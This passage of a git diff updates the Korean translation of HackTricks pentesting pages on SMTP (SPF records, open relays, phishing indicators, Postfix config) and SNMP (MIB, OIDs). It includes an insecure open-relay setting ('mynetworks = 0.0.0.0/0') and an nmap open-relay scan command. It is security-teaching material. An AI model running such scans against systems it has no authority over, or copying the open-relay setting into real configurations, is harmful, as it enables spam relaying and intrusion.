๊ฒŒ์‹œ๋œ ๊ฒƒ์œผ๋กœ, ์ด๋Ÿฌํ•œ ์ข…๋ฅ˜์˜ ์ •๋ณด์— ๋Œ€ํ•œ ํ›Œ๋ฅญํ•œ ์ž์›์ด์—ˆ์Šต๋‹ˆ๋‹ค. > ๋ฐ๋ชฌ ์งˆ๋ฌธ: ์„œ๋ธŒ๋„๋ฉ”์ธ์€ ์–ด๋–ป๊ฒŒ ๋˜๋‚˜์š”? > -> pielovers.demon.co.uk์—์„œ ๋ฉ”์ผ์„ ๋ฐ›์•˜๊ณ , pielovers์— ๋Œ€ํ•œ SPF ๋ฐ์ดํ„ฐ๊ฐ€ ์—†๋‹ค๋ฉด, ํ•œ ๋‹จ๊ณ„ ์˜ฌ๋ผ๊ฐ€์„œ demon.co.uk์— ๋Œ€ํ•œ SPF๋ฅผ ํ…Œ์ŠคํŠธํ•ด์•ผ ํ• ๊นŒ์š”? ์•„๋‹ˆ์š”. ๋ฐ๋ชฌ์˜ ๊ฐ ์„œ๋ธŒ๋„๋ฉ”์ธ์€ ๋‹ค๋ฅธ ๊ณ ๊ฐ์ด๋ฉฐ, ๊ฐ ๊ณ ๊ฐ์€ ์ž์‹ ์˜ ์ •์ฑ…์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ๋ชฌ์˜ ์ •์ฑ…์ด ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ชจ๋“  ๊ณ ๊ฐ์—๊ฒŒ ์ ์šฉ๋˜๋Š” ๊ฒƒ์€ ์˜๋ฏธ๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ๋ฐ๋ชฌ์ด ๊ทธ๋ ‡๊ฒŒ ํ•˜๊ธฐ๋ฅผ ์›ํ•œ๋‹ค๋ฉด, ๊ฐ ์„œ๋ธŒ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ SPF ๋ ˆ์ฝ”๋“œ๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +> pielovers.demon.co.uk์—์„œ ๋ฉ”์ผ์„ ๋ฐ›์•˜๊ณ , pielovers์— ๋Œ€ํ•œ SPF ๋ฐ์ดํ„ฐ๊ฐ€ ์—†๋‹ค๋ฉด, ํ•œ ๋‹จ๊ณ„ ์˜ฌ๋ผ๊ฐ€์„œ demon.co.uk์— ๋Œ€ํ•œ SPF๋ฅผ ํ…Œ์ŠคํŠธํ•ด์•ผ ํ• ๊นŒ์š”? ์•„๋‹ˆ์š”. ๋ฐ๋ชฌ์˜ ๊ฐ ์„œ๋ธŒ๋„๋ฉ”์ธ์€ ๋‹ค๋ฅธ ๊ณ ๊ฐ์ด๋ฉฐ, ๊ฐ ๊ณ ๊ฐ์€ ์ž์‹ ์˜ ์ •์ฑ…์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ๋ชฌ์˜ ์ •์ฑ…์ด ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ชจ๋“  ๊ณ ๊ฐ์—๊ฒŒ ์ ์šฉ๋˜๋Š” ๊ฒƒ์€ ์˜๋ฏธ๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๋ฐ๋ชฌ์ด ๊ทธ๋ ‡๊ฒŒ ํ•˜๊ธฐ๋ฅผ ์›ํ•œ๋‹ค๋ฉด, ๊ฐ ์„œ๋ธŒ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ SPF ๋ ˆ์ฝ”๋“œ๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. > > ๋”ฐ๋ผ์„œ SPF ๋ฐœํ–‰์ž์—๊ฒŒ ์ฃผ๋Š” ์กฐ์–ธ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: A ๋˜๋Š” MX ๋ ˆ์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” ๊ฐ ์„œ๋ธŒ๋„๋ฉ”์ธ ๋˜๋Š” ํ˜ธ์ŠคํŠธ ์ด๋ฆ„์— ๋Œ€ํ•ด SPF ๋ ˆ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. > > ์™€์ผ๋“œ์นด๋“œ A ๋˜๋Š” MX ๋ ˆ์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” ์‚ฌ์ดํŠธ๋Š” ๋‹ค์Œ ํ˜•์‹์˜ ์™€์ผ๋“œ์นด๋“œ SPF ๋ ˆ์ฝ”๋“œ๋„ ๊ฐ€์ ธ์•ผ ํ•ฉ๋‹ˆ๋‹ค: \* IN TXT "v=spf1 -all" -์ด๊ฒƒ์€ ์˜๋ฏธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค - ์„œ๋ธŒ๋„๋ฉ”์ธ์€ ๋งค์šฐ ๋‹ค๋ฅธ ์ง€๋ฆฌ์  ์œ„์น˜์— ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋งค์šฐ ๋‹ค๋ฅธ SPF ์ •์˜๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด๊ฒƒ์€ ์˜๋ฏธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค - ์„œ๋ธŒ๋„๋ฉ”์ธ์€ ๋‹ค๋ฅธ ์ง€๋ฆฌ์  ์œ„์น˜์— ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋งค์šฐ ๋‹ค๋ฅธ SPF ์ •์˜๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### **์˜คํ”ˆ ๋ฆด๋ ˆ์ด** -์ด๋ฉ”์ผ์ด ์ „์†ก๋  ๋•Œ ์ŠคํŒธ์œผ๋กœ ํ‘œ์‹œ๋˜์ง€ ์•Š๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ข…์ข… **์ˆ˜์‹ ์ž๊ฐ€ ์‹ ๋ขฐํ•˜๋Š” ๋ฆด๋ ˆ์ด ์„œ๋ฒ„**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ผ๋ฐ˜์ ์ธ ๋ฌธ์ œ๋Š” ๊ด€๋ฆฌ์ž๊ฐ€ **ํ—ˆ์šฉํ•  ์•ˆ์ „ํ•œ IP ๋ฒ”์œ„**์— ๋Œ€ํ•ด ์™„์ „ํžˆ ์ธ์‹ํ•˜์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ดํ•ด ๋ถ€์กฑ์€ SMTP ์„œ๋ฒ„ ์„ค์ •์—์„œ ์‹ค์ˆ˜๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ๋ณด์•ˆ ํ‰๊ฐ€์—์„œ ์ž์ฃผ ์‹๋ณ„๋˜๋Š” ์œ„ํ—˜์ž…๋‹ˆ๋‹ค. +์ด๋ฉ”์ผ์ด ์ „์†ก๋  ๋•Œ ์ŠคํŒธ์œผ๋กœ ํ‘œ์‹œ๋˜์ง€ ์•Š๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ข…์ข… **์ˆ˜์‹ ์ž๊ฐ€ ์‹ ๋ขฐํ•˜๋Š” ๋ฆด๋ ˆ์ด ์„œ๋ฒ„**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ผ๋ฐ˜์ ์ธ ๋ฌธ์ œ๋Š” ๊ด€๋ฆฌ์ž๊ฐ€ **์–ด๋–ค IP ๋ฒ”์œ„๊ฐ€ ์•ˆ์ „ํ•œ์ง€** ์™„์ „ํžˆ ์ธ์‹ํ•˜์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ดํ•ด ๋ถ€์กฑ์€ SMTP ์„œ๋ฒ„ ์„ค์ •์—์„œ ์‹ค์ˆ˜๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ๋ณด์•ˆ ํ‰๊ฐ€์—์„œ ์ž์ฃผ ์‹๋ณ„๋˜๋Š” ์œ„ํ—˜์ž…๋‹ˆ๋‹ค. -์ผ๋ถ€ ๊ด€๋ฆฌ์ž๊ฐ€ ์ž ์žฌ์  ๋˜๋Š” ์ง„ํ–‰ ์ค‘์ธ ํด๋ผ์ด์–ธํŠธ์™€์˜ ํ†ต์‹ ๊ณผ ๊ด€๋ จํ•˜์—ฌ ์ด๋ฉ”์ผ ๋ฐฐ๋‹ฌ ๋ฌธ์ œ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•˜๋Š” ์šฐํšŒ ๋ฐฉ๋ฒ•์€ **๋ชจ๋“  IP ์ฃผ์†Œ์—์„œ์˜ ์—ฐ๊ฒฐ์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ**์ž…๋‹ˆ๋‹ค. ์ด๋Š” SMTP ์„œ๋ฒ„์˜ `mynetworks` ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋ชจ๋“  IP ์ฃผ์†Œ๋ฅผ ์ˆ˜์šฉํ•˜๋„๋ก ๊ตฌ์„ฑํ•˜์—ฌ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. +์ผ๋ถ€ ๊ด€๋ฆฌ์ž๊ฐ€ ์ž ์žฌ์  ๋˜๋Š” ์ง„ํ–‰ ์ค‘์ธ ๊ณ ๊ฐ๊ณผ์˜ ํ†ต์‹ ๊ณผ ๊ด€๋ จํ•˜์—ฌ ์ด๋ฉ”์ผ ๋ฐฐ๋‹ฌ ๋ฌธ์ œ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•˜๋Š” ์šฐํšŒ ๋ฐฉ๋ฒ•์€ **๋ชจ๋“  IP ์ฃผ์†Œ์—์„œ์˜ ์—ฐ๊ฒฐ์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ**์ž…๋‹ˆ๋‹ค. ์ด๋Š” SMTP ์„œ๋ฒ„์˜ `mynetworks` ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋ชจ๋“  IP ์ฃผ์†Œ๋ฅผ ์ˆ˜์šฉํ•˜๋„๋ก ๊ตฌ์„ฑํ•˜์—ฌ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. ```bash mynetworks = 0.0.0.0/0 ``` -๋ฉ”์ผ ์„œ๋ฒ„๊ฐ€ ์˜คํ”ˆ ๋ฆด๋ ˆ์ด์ธ์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด (์ฆ‰, ์™ธ๋ถ€ ์†Œ์Šค์—์„œ ์ด๋ฉ”์ผ์„ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด) `nmap` ๋„๊ตฌ๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ์—๋Š” ์ด๋ฅผ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ ํŠน์ • ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. `nmap`์„ ์‚ฌ์šฉํ•˜์—ฌ ํฌํŠธ 25์—์„œ ์„œ๋ฒ„(์˜ˆ: IP 10.10.10.10)์— ๋Œ€ํ•ด ์ž์„ธํ•œ ์Šค์บ”์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ช…๋ น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: +๋ฉ”์ผ ์„œ๋ฒ„๊ฐ€ ์˜คํ”ˆ ๋ฆด๋ ˆ์ด์ธ์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด (์ฆ‰, ์™ธ๋ถ€ ์†Œ์Šค์—์„œ ์ด๋ฉ”์ผ์„ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด) `nmap` ๋„๊ตฌ๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ์—๋Š” ์ด๋ฅผ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ ํŠน์ • ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. `nmap`์„ ์‚ฌ์šฉํ•˜์—ฌ ํฌํŠธ 25์—์„œ ์„œ๋ฒ„(์˜ˆ: IP 10.10.10.10)์— ๋Œ€ํ•ด ์ž์„ธํ•œ ์Šค์บ”์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ช…๋ น์€: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` @@ -473,17 +473,17 @@ s.sendmail(sender, [destination], msg_data) {{#endtab}} {{#endtabs}} -### **์ถ”๊ฐ€ ์ •๋ณด** +### **๋” ๋งŽ์€ ์ •๋ณด** **์ด๋Ÿฌํ•œ ๋ณดํ˜ธ ์กฐ์น˜์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š”** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **์—์„œ ํ™•์ธํ•˜์„ธ์š”.** ### **๊ธฐํƒ€ ํ”ผ์‹ฑ ์ง€ํ‘œ** -- ๋„๋ฉ”์ธ ์—ฐ๋ น +- ๋„๋ฉ”์ธ์˜ ์—ฐ๋ น - IP ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋งํฌ - ๋งํฌ ์กฐ์ž‘ ๊ธฐ์ˆ  - ์˜์‹ฌ์Šค๋Ÿฌ์šด (๋น„์ •์ƒ์ ์ธ) ์ฒจ๋ถ€ํŒŒ์ผ -- ์†์ƒ๋œ ์ด๋ฉ”์ผ ๋‚ด์šฉ +- ๊นจ์ง„ ์ด๋ฉ”์ผ ๋‚ด์šฉ - ๋ฉ”์ผ ํ—ค๋”์™€ ๋‹ค๋ฅธ ๊ฐ’ ์‚ฌ์šฉ - ์œ ํšจํ•˜๊ณ  ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” SSL ์ธ์ฆ์„œ์˜ ์กด์žฌ - ์›น ์ฝ˜ํ…์ธ  ํ•„ํ„ฐ๋ง ์‚ฌ์ดํŠธ์— ํŽ˜์ด์ง€ ์ œ์ถœ @@ -496,14 +496,14 @@ s.sendmail(sender, [destination], msg_data) ### Postfix -์ผ๋ฐ˜์ ์œผ๋กœ ์„ค์น˜๋œ ๊ฒฝ์šฐ `/etc/postfix/master.cf`์— **์‚ฌ์šฉ์ž๊ฐ€ ์ƒˆ ๋ฉ”์ผ์„ ์ˆ˜์‹ ํ•  ๋•Œ ์‹คํ–‰ํ•  ์Šคํฌ๋ฆฝํŠธ**๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`๋ผ๋Š” ์ค„์€ ์‚ฌ์šฉ์ž๊ฐ€ mark์ธ ๊ฒฝ์šฐ ์ƒˆ ๋ฉ”์ผ์ด ์ˆ˜์‹ ๋˜๋ฉด `/etc/postfix/filtering`์ด ์‹คํ–‰๋จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. +๋ณดํ†ต ์„ค์น˜๋˜์–ด ์žˆ๋‹ค๋ฉด, `/etc/postfix/master.cf`์—๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ƒˆ ๋ฉ”์ผ์„ ์ˆ˜์‹ ํ•  ๋•Œ ์‹คํ–‰ํ•  **์Šคํฌ๋ฆฝํŠธ**๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`๋ผ๋Š” ์ค„์€ ์‚ฌ์šฉ์ž๊ฐ€ mark์ธ ๊ฒฝ์šฐ ์ƒˆ ๋ฉ”์ผ์„ ์ˆ˜์‹ ํ•˜๋ฉด `/etc/postfix/filtering`์ด ์‹คํ–‰๋จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๊ธฐํƒ€ ๊ตฌ์„ฑ ํŒŒ์ผ: ``` sendmail.cf submit.cf ``` -## ์ฐธ๊ณ  ๋ฌธํ—Œ +## References - [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) - [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/) @@ -520,7 +520,7 @@ Description: Notes for SMTP Note: | SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. -https://book.hacktricks.xyz/pentesting/pentesting-smtp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 07d31901e..90f9ecece 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -2,34 +2,33 @@ {{#include ../../banners/hacktricks-training.md}} +## Basic Information -## ๊ธฐ๋ณธ ์ •๋ณด - -**SNMP - ๊ฐ„๋‹จํ•œ ๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ ํ”„๋กœํ† ์ฝœ**์€ ๋„คํŠธ์›Œํฌ์˜ ๋‹ค์–‘ํ•œ ์žฅ์น˜(์˜ˆ: ๋ผ์šฐํ„ฐ, ์Šค์œ„์น˜, ํ”„๋ฆฐํ„ฐ, IoT ๋“ฑ)๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. +**SNMP - Simple Network Management Protocol**๋Š” ๋„คํŠธ์›Œํฌ์˜ ๋‹ค์–‘ํ•œ ์žฅ์น˜(์˜ˆ: ๋ผ์šฐํ„ฐ, ์Šค์œ„์น˜, ํ”„๋ฆฐํ„ฐ, IoT ๋“ฑ)๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` > [!NOTE] -> SNMP๋Š” **traps**๋ฅผ ์œ„ํ•ด ํฌํŠธ **162/UDP**๋„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” **๋ช…์‹œ์ ์œผ๋กœ ์š”์ฒญ๋˜์ง€ ์•Š์€ SNMP ์„œ๋ฒ„์—์„œ ํด๋ผ์ด์–ธํŠธ๋กœ ์ „์†ก๋˜๋Š” ๋ฐ์ดํ„ฐ ํŒจํ‚ท**์ž…๋‹ˆ๋‹ค. +> SNMP๋Š” **162/UDP** ํฌํŠธ๋ฅผ **ํŠธ๋žฉ**์— ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” **๋ช…์‹œ์ ์œผ๋กœ ์š”์ฒญ๋˜์ง€ ์•Š์€ SNMP ์„œ๋ฒ„์—์„œ ํด๋ผ์ด์–ธํŠธ๋กœ ์ „์†ก๋˜๋Š” ๋ฐ์ดํ„ฐ ํŒจํ‚ท**์ž…๋‹ˆ๋‹ค. ### MIB -SNMP ์ ‘๊ทผ์ด ์ œ์กฐ์—…์ฒด ๊ฐ„ ๋ฐ ๋‹ค์–‘ํ•œ ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„ ์กฐํ•ฉ์—์„œ ์ž‘๋™ํ•˜๋„๋ก ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด **Management Information Base (MIB)**๊ฐ€ ์ƒ์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. MIB๋Š” **์žฅ์น˜ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•œ ๋…๋ฆฝ์ ์ธ ํ˜•์‹**์ž…๋‹ˆ๋‹ค. MIB๋Š” **ํ‘œ์ค€ํ™”๋œ** ํŠธ๋ฆฌ ๊ณ„์ธต ๊ตฌ์กฐ์— ๋‚˜์—ด๋œ ๋ชจ๋“  ์ฟผ๋ฆฌ ๊ฐ€๋Šฅํ•œ **SNMP ๊ฐ์ฒด**๊ฐ€ ํฌํ•จ๋œ **ํ…์ŠคํŠธ** ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” **๊ณ ์œ  ์ฃผ์†Œ**์™€ **์ด๋ฆ„** ์™ธ์—๋„ ํ•ด๋‹น ๊ฐ์ฒด์˜ ์œ ํ˜•, ์ ‘๊ทผ ๊ถŒํ•œ ๋ฐ ์„ค๋ช…์— ๋Œ€ํ•œ ์ •๋ณด๋„ ์ œ๊ณตํ•˜๋Š” **์ตœ์†Œ ํ•˜๋‚˜์˜ `Object Identifier` (`OID`)**๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.\ -MIB ํŒŒ์ผ์€ `Abstract Syntax Notation One` (`ASN.1`) ๊ธฐ๋ฐ˜์˜ ASCII ํ…์ŠคํŠธ ํ˜•์‹์œผ๋กœ ์ž‘์„ฑ๋ฉ๋‹ˆ๋‹ค. **MIB๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š์ง€๋งŒ**, **์–ด๋–ค ์ •๋ณด๋ฅผ ์–ด๋””์„œ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š”์ง€**์™€ ๊ทธ๊ฒƒ์ด ์–ด๋–ค ๋ชจ์Šต์ธ์ง€, ํŠน์ • OID์— ๋Œ€ํ•œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋Š”์ง€ ๋˜๋Š” ์–ด๋–ค ๋ฐ์ดํ„ฐ ์œ ํ˜•์ด ์‚ฌ์šฉ๋˜๋Š”์ง€๋ฅผ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. +SNMP ์ ‘๊ทผ์ด ์ œ์กฐ์—…์ฒด ๊ฐ„ ๋ฐ ๋‹ค์–‘ํ•œ ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„ ์กฐํ•ฉ์—์„œ ์ž‘๋™ํ•˜๋„๋ก ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด **Management Information Base (MIB)**๊ฐ€ ์ƒ์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. MIB๋Š” **์žฅ์น˜ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•œ ๋…๋ฆฝ์ ์ธ ํ˜•์‹**์ž…๋‹ˆ๋‹ค. MIB๋Š” **ํ‘œ์ค€ํ™”๋œ** ํŠธ๋ฆฌ ๊ณ„์ธต ๊ตฌ์กฐ์—์„œ ์ฟผ๋ฆฌ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  **SNMP ๊ฐ์ฒด**๊ฐ€ ๋‚˜์—ด๋œ **ํ…์ŠคํŠธ** ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” **๊ณ ์œ  ์ฃผ์†Œ**์™€ **์ด๋ฆ„** ์™ธ์—๋„ ํ•ด๋‹น ๊ฐ์ฒด์˜ ์œ ํ˜•, ์ ‘๊ทผ ๊ถŒํ•œ ๋ฐ ์„ค๋ช…์— ๋Œ€ํ•œ ์ •๋ณด๋„ ์ œ๊ณตํ•˜๋Š” **`Object Identifier` (`OID`)**๊ฐ€ **์ตœ์†Œํ•œ ํ•˜๋‚˜** ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.\ +MIB ํŒŒ์ผ์€ `Abstract Syntax Notation One` (`ASN.1`) ๊ธฐ๋ฐ˜ ASCII ํ…์ŠคํŠธ ํ˜•์‹์œผ๋กœ ์ž‘์„ฑ๋ฉ๋‹ˆ๋‹ค. **MIB๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š์ง€๋งŒ**, **์–ด๋–ค ์ •๋ณด๋ฅผ ์–ด๋””์„œ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š”์ง€**์™€ ๊ทธ๊ฒƒ์ด ์–ด๋–ค ๋ชจ์Šต์ธ์ง€, ํŠน์ • OID์— ๋Œ€ํ•œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋Š”์ง€ ๋˜๋Š” ์–ด๋–ค ๋ฐ์ดํ„ฐ ์œ ํ˜•์ด ์‚ฌ์šฉ๋˜๋Š”์ง€๋ฅผ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. ### OIDs -**Object Identifiers (OIDs)**๋Š” ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณ ์œ  ์‹๋ณ„์ž๋Š” **Management Information Base (MIB)** ๋‚ด์—์„œ ๊ฐ์ฒด๋ฅผ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. +**Object Identifiers (OIDs)**๋Š” ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณ ์œ  ์‹๋ณ„์ž๋Š” **Management Information Base (MIB)** ๋‚ด์˜ ๊ฐ์ฒด๋ฅผ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. MIB ๊ฐ์ฒด ID ๋˜๋Š” OID์˜ ๊ฐ€์žฅ ๋†’์€ ์ˆ˜์ค€์€ ๋‹ค์–‘ํ•œ ํ‘œ์ค€ ์„ค์ • ์กฐ์ง์— ํ• ๋‹น๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ตœ์ƒ์œ„ ์ˆ˜์ค€ ๋‚ด์—์„œ ๊ธ€๋กœ๋ฒŒ ๊ด€๋ฆฌ ๊ด€ํ–‰ ๋ฐ ํ‘œ์ค€์„ ์œ„ํ•œ ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. -๋˜ํ•œ, ๊ณต๊ธ‰์—…์ฒด๋Š” ๊ฐœ์ธ ๋ธŒ๋žœ์น˜๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” ์ž์œ ๋ฅผ ๋ถ€์—ฌ๋ฐ›์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ธŒ๋žœ์น˜ ๋‚ด์—์„œ ๊ทธ๋“ค์€ **์ž์‹ ์˜ ์ œํ’ˆ ๋ผ์ธ๊ณผ ๊ด€๋ จ๋œ ๊ด€๋ฆฌ ๊ฐ์ฒด๋ฅผ ํฌํ•จํ•  ์ž์œจ์„ฑ์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค**. ์ด ์‹œ์Šคํ…œ์€ ๋‹ค์–‘ํ•œ ๊ณต๊ธ‰์—…์ฒด ๋ฐ ํ‘œ์ค€ ๊ฐ„์— ๊ด‘๋ฒ”์œ„ํ•œ ๊ฐ์ฒด๋ฅผ ์‹๋ณ„ํ•˜๊ณ  ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•œ ๊ตฌ์กฐ์ ์ด๊ณ  ์กฐ์ง์ ์ธ ๋ฐฉ๋ฒ•์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. +๋˜ํ•œ, ๊ณต๊ธ‰์—…์ฒด๋Š” ๊ฐœ์ธ ๋ธŒ๋žœ์น˜๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” ์ž์œ ๋ฅผ 